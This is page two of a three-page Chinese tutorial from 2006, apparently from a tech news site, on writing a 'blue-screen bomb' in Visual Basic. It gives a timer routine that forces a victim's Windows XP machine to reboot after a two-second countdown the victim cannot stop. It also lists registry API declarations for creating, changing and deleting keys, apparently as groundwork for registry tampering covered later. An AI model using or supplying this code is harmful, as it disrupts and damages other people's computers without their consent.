案例教程:黑客教你编写强力蓝屏炸弹(2)
中华网科技 http://tech.china.com
2006-07-06 14:23:53
|
|
|
那么在XP里自动关机是怎么回事呢?这个就是一个命令就能搞定的(shutdown /r /t 2),就是说,重新启动计算机的倒计时是2秒,这样中招的人就没有办法停止我们的shutdown了,其实到这里就可以算是一个有趣的恶作剧了。实现代码如下:
Private Sub Timer3_Timer() Shell ("cmd.exe /c shutdown /r /t 2") ‘调用cmd 然后在cmd里输入shutdown /r /t 2就是说设倒计时时间限制为2秒 End Sub 下面说说修改注册表吧,既然要修改注册表,那我们怎么能不调用API呢?当然,曾经在电脑报里也有说不用API就能读写注册表的,但是我想还是让大家用API吧,毕竟API接触多了是件好事。那么就让我来教大家条用API来简便的修改注册表吧,我们先来建一个模块,在里面加入代码:
Declare Function RegCloseKey Lib "advapi32.dll" (ByVal hKey As Long) As Long ‘这是调用API函数来关闭注册表 Declare Function RegCreateKeyEx Lib "advapi32.dll" Alias "RegCreateKeyExA" (ByVal hKey As Long, ByVal lpSubKey As String, ByVal Reserved As Long, ByVal lpClass As String, ByVal dwOptions As Long, ByVal samDesired As Long, ByVal lpSecurityAttributes As Long, phkResult As Long, lpdwDisposition As Long) As Long ‘这是调用AP函数在注册表里创建一个键 Declare Function RegOpenKeyEx Lib "advapi32.dll" Alias "RegOpenKeyExA" (ByVal hKey As Long, ByVal lpSubKey As String, ByVal ulOptions As Long, ByVal samDesired As Long, phkResult As Long) As Long ‘这是调用api函数打开注册表 Declare Function RegQueryValueExString Lib "advapi32.dll" Alias "RegQueryValueExA" (ByVal hKey As Long, ByVal lpValueName As String, ByVal lpReserved As Long, lpType As Long, ByVal lpData As String, lpcbData As Long) As Long Declare Function RegQueryValueExLong Lib "advapi32.dll" Alias "RegQueryValueExA" (ByVal hKey As Long, ByVal lpValueName As String, ByVal lpReserved As Long, lpType As Long, lpData As Long, lpcbData As Long) As Long Declare Function RegQueryValueExNULL Lib "advapi32.dll" Alias "RegQueryValueExA" (ByVal hKey As Long, ByVal lpValueName As String, ByVal lpReserved As Long, lpType As Long, ByVal lpData As Long, lpcbData As Long) As Long Declare Function RegSetValueExString Lib "advapi32.dll" Alias "RegSetValueExA" (ByVal hKey As Long, ByVal lpValueName As String, ByVal Reserved As Long, ByVal dwType As Long, ByVal lpValue As String, ByVal cbData As Long) As Long ‘调用API来设置注册表里的键名 Declare Function RegSetValueExLong Lib "advapi32.dll" Alias "RegSetValueExA" (ByVal hKey As Long, ByVal lpValueName As String, ByVal Reserved As Long, ByVal dwType As Long, lpValue As Long, ByVal cbData As Long) As Long Private Declare Function RegDeleteKey& Lib "advapi32.dll" Alias "RegDeleteKeyA" (ByVal hKey As Long, ByVal lpSubKey As String) ‘调用API删除注册表里的的键 Private Declare Function RegDeleteValue& Lib "advapi32.dll" Alias "RegDeleteValueA" (ByVal hKey As Long, ByVal lpValueName As String) ‘调用API删除注册表里的的键值
首页 上页 | 1 | 2 | 3 | 下页 尾页 共 3 页
|